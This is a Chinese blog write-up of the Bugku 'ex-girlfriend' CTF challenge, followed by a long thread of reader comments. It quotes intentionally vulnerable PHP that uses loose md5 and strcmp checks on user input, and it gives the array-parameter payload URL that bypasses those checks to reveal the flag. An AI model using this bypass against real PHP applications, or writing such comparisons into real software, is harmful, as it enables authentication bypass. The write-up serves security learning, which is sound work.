Bugku-前女友(SKCTF)

OnionT@KillBoy
OnionT@KillBoy
OnionT@KillBoy
作者
47
文章
0
粉丝
渗透测试7313,848字数 181阅读0分36秒阅读模式
AI智能摘要
被前女友发来的神秘链接搅乱心绪?这道CTF题目暗藏玄机。通过巧妙利用PHP的MD5函数漏洞和strcmp特性,只需构造特殊参数就能破解谜题。本文将带你一步步拆解代码逻辑,揭开绕过验证的终极技巧,让你在网络安全实战中再添利器。
— AI 生成的文章内容摘要

进入后发现首页是一段很伤感的话,做个题都这么伤感,哎。。。。
Bugku-前女友(SKCTF)-图片1
查看网页源代码,发现code.txt,访问查看,发现是个审计题,代码分析如下:

<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){     $v1 = $_GET['v1'];     $v2 = $_GET['v2'];     $v3 = $_GET['v3'];     if($v1 != $v2 && md5($v1) == md5($v2)){  //md5不能用来算数组,这里用数组绕过,v1和v2的值不能一样         if(!strcmp($v3, $flag)){  //strcmp函数的作用是比较两个值是否相等,如果相等返回0,而if是里面的!是非,非0则TURE             echo $flag;         }     } } ?>

于是构造payload:http://123.206.31.85:49162/?v1[]=a&v2[]=b&v3[]=c
得到flag。。。
Bugku-前女友(SKCTF)-图片2

http://www.oniont.cn/index.php/archives/103.html

 
OnionT@KillBoy
评论  73  访客  73
    • 暗影低喃
      暗影低喃 1

      这题用数组绕过有点意思

      • 章鱼八爪
        章鱼八爪 2

        v3传数组不会报错吗,弱类型真敢来

        • 果冻冰
          果冻冰 1

          之前搞代码审计也被这招阴过,记忆犹新

          • 灵光织梦
            灵光织梦 0

            PHP是世界上最好的语言,怎么听着像遗言

            • 捕快雷横
              捕快雷横 0

              v3怎么构造啊,没看懂

              • 蒸汽火车司机
                蒸汽火车司机 1

                md5碰撞还能这么玩

                • 纸风车追逐者
                  纸风车追逐者 1

                  感觉代码审计挺简单的

                    • AssamAmber
                      AssamAmber 1

                      @ 纸风车追逐者 有些细节不踩坑真不知道,比如strcmp处理数组的漏洞

                    • 古铜色岁月
                      古铜色岁月 1

                      之前也遇到过类似题目

                        • 碎月痕
                          碎月痕 0

                          @ 古铜色岁月 不是,真有人拿strcmp传数组不翻车的?

                        • 船夫何
                          船夫何 0

                          flag在哪显示?

                          • 星海拾星
                            星海拾星 0

                            PHP是最好的语言hhh

                            • 独坐长街
                              独坐长街 1

                              为啥v1和v2不能一样?

                              • 蛋黄派间谍
                                蛋黄派间谍 1

                                这样绕过真的可以吗

                                  • 灵墟行者
                                    灵墟行者 0

                                    @ 蛋黄派间谍 md5对数组返回NULL,两个都NULL就相等了,确实能过

                                  • 枕星
                                    枕星 0

                                    直接复制payload就出了

                                    • 山鬼夜行
                                      山鬼夜行 0

                                      这题搞得我心情有点复杂,跟前任有关就算了,还得动脑子😂

                                      • 嘎嘎嘎
                                        嘎嘎嘎 1

                                        数组绕过确实是常规操作,但结合情感文案就离谱

                                          • 星尘拾光者
                                            星尘拾光者 0

                                            @ 嘎嘎嘎 情感文案加代码题太会玩了

                                            • 风雷子
                                              风雷子 0

                                              @ 嘎嘎嘎 数组绕过老招了,但配上失恋情节我直接共情

                                            • 玉钏尝羹
                                              玉钏尝羹 1

                                              v1和v2值不一样但md5相等,只能用数组试试了

                                              • 落叶小屋
                                                落叶小屋 1

                                                strcmp比较flag,传数组直接报错吧?

                                                • 夜歌
                                                  夜歌 1

                                                  PHP这语言特性坑不少,一不小心就绕过去了

                                                  • PeppermintPond
                                                    PeppermintPond 0

                                                    我上次做类似题卡了半小时,结果也是数组问题

                                                    • 迷雾妖精
                                                      迷雾妖精 0

                                                      flag应该直接echo出来了,看响应就行

                                                      • 淡若晨风
                                                        淡若晨风 1

                                                        v3传数组会警告吧,但可能不影响执行?

                                                          • 热闹云
                                                            热闹云 0

                                                            @ 淡若晨风 警告归警告,执行还是能过的

                                                          • 贪玩的月饼
                                                            贪玩的月饼 1

                                                            那个“PHP是世界上最好的语言”是梗还是提示啊

                                                            • 纯净处女
                                                              纯净处女 0

                                                              这题设计得还挺有情绪共鸣的,一边伤心一边debug

                                                              • 甜心小熊软糖
                                                                甜心小熊软糖 2

                                                                v3传空数组就能过吧?

                                                                • 慷慨的分享者
                                                                  慷慨的分享者 1

                                                                  这题设计得让人又爱又恨😂

                                                                  • 寒霜之影
                                                                    寒霜之影 2

                                                                    为啥用数组md5就相等了?

                                                                    • 风旅
                                                                      风旅 2

                                                                      flag直接显示在页面上了

                                                                      • 星空低语者
                                                                        星空低语者 0

                                                                        看到PHP最好语言直接笑出声

                                                                        • 狮子阿力
                                                                          狮子阿力 1

                                                                          数组绕过老套路了

                                                                          • AzureSky
                                                                            AzureSky 1

                                                                            payload复制粘贴就能出?

                                                                            • 协议猎人
                                                                              协议猎人 1

                                                                              之前被strcmp坑过好几次

                                                                              • 血色黄昏
                                                                                血色黄昏 0

                                                                                伤感文案配代码审计有点东西

                                                                                • 黄泉归客
                                                                                  黄泉归客 1

                                                                                  v1[]=a这种传法不会报错吗?

                                                                                    • 寂光刃
                                                                                      寂光刃 0

                                                                                      @ 黄泉归客 payload复制粘贴就出flag,但本地搭环境试了报warning

                                                                                    • 魂火吟游
                                                                                      魂火吟游 0

                                                                                      这题文案写得我真代入了,结果一查源码破防了

                                                                                      • 忧郁的西瓜
                                                                                        忧郁的西瓜 1

                                                                                        v1[]=a&v2[]=b确实能绕,但v3传数组会不会直接崩啊?

                                                                                        • 海鸥翱翔
                                                                                          海鸥翱翔 1

                                                                                          PHP最好语言这句话一出我就知道要被坑了😂

                                                                                          • TuftTilter
                                                                                            TuftTilter 1

                                                                                            md5数组绕过这招实用,记小本本上了。

                                                                                              • OnionT@KillBoy
                                                                                                OnionT@KillBoy

                                                                                                @ TuftTilter 数组绕过是CTF里挺经典的思路。

                                                                                              • 龙纹郡主
                                                                                                龙纹郡主 0

                                                                                                之前做CTF也被strcmp坑过,传数组直接跳过比较

                                                                                                • 松间鹤
                                                                                                  松间鹤 0

                                                                                                  flag是直接echo出来的?那得看网页源码还是network?

                                                                                                  • 风回山
                                                                                                    风回山 2

                                                                                                    伤感故事配代码审计,出题人是不是刚分手hhh

                                                                                                    • 达达
                                                                                                      达达 1

                                                                                                      md5($v1)==md5($v2)用数组等于俩都null,所以相等?

                                                                                                      • 奶味小星
                                                                                                        奶味小星 1

                                                                                                        v3[]=c这样传,strcmp应该返回null吧,非0就进去了

                                                                                                        • 富有同情心
                                                                                                          富有同情心 1

                                                                                                          看到“前女友”点进来,结果让我debug,心更碎了

                                                                                                          • 暖暖的时光
                                                                                                            暖暖的时光 0

                                                                                                            这题搞得我心都碎了,前女友链接还能这么玩😂

                                                                                                            • 落梅香
                                                                                                              落梅香 1

                                                                                                              v1和v2用数组绕过是常规操作,但v3这样传真能过?

                                                                                                              • 草药师
                                                                                                                草药师 1

                                                                                                                PHP是世界上最好的语言?我咋觉得是凶手呢hhh

                                                                                                                • 摄魂鬼差
                                                                                                                  摄魂鬼差 2

                                                                                                                  flag直接echo出来,我还在network里翻半天

                                                                                                                  • 沉默战士
                                                                                                                    沉默战士 1

                                                                                                                    md5比较数组会返回NULL,两个都NULL自然相等,懂了

                                                                                                                    • 无界之思
                                                                                                                      无界之思 1

                                                                                                                      出题人怕不是刚失恋,一边哭一边写代码吧

                                                                                                                      • 破败枪手
                                                                                                                        破败枪手 1

                                                                                                                        v3传数组strcmp会报warning,但PHP弱类型还是能进

                                                                                                                        • 小雪飘飘
                                                                                                                          小雪飘飘 0

                                                                                                                          我也被这个strcmp坑过,传数组直接绕成习惯性操作了

                                                                                                                          • 静听松风
                                                                                                                            静听松风 1

                                                                                                                            看不懂为啥非得用数组,普通字符串不行吗?

                                                                                                                            • 大寒松骨
                                                                                                                              大寒松骨 1

                                                                                                                              这题文案太会了,看着看着真代入前任故事了

                                                                                                                                • 银月幻术师
                                                                                                                                  银月幻术师 2

                                                                                                                                  @ 大寒松骨 这题搞得我心都化了,前女友+PHP双重暴击😂

                                                                                                                                • LapsangLull
                                                                                                                                  LapsangLull 0

                                                                                                                                  v1[]=a&v2[]=b这种写法看着怪别扭的

                                                                                                                                  • 夜魇
                                                                                                                                    夜魇 1

                                                                                                                                    md5比数组等于null,俩null居然能过,离谱

                                                                                                                                    • 沫子
                                                                                                                                      沫子 1

                                                                                                                                      flag直接刷屏了?我咋只看到一片空白

                                                                                                                                      • 雪白流光
                                                                                                                                        雪白流光 0

                                                                                                                                        出题人怕不是边哭边敲代码,太有画面感了

                                                                                                                                        • 哗哗啦
                                                                                                                                          哗哗啦 1

                                                                                                                                          这题让我想起了被数组绕晕的日子。

                                                                                                                                          • 黑雾迷踪
                                                                                                                                            黑雾迷踪 2

                                                                                                                                            这波md5的骚操作我直接看懵

                                                                                                                                            • 宇宙旅记
                                                                                                                                              宇宙旅记 1

                                                                                                                                              这题数组绕过老套路了

                                                                                                                                              • 夜刃幽魂
                                                                                                                                                夜刃幽魂 1

                                                                                                                                                前女友梗配上CTF,这出题人有点东西

                                                                                                                                              匿名

                                                                                                                                              发表评论

                                                                                                                                              匿名网友

                                                                                                                                              拖动滑块以完成验证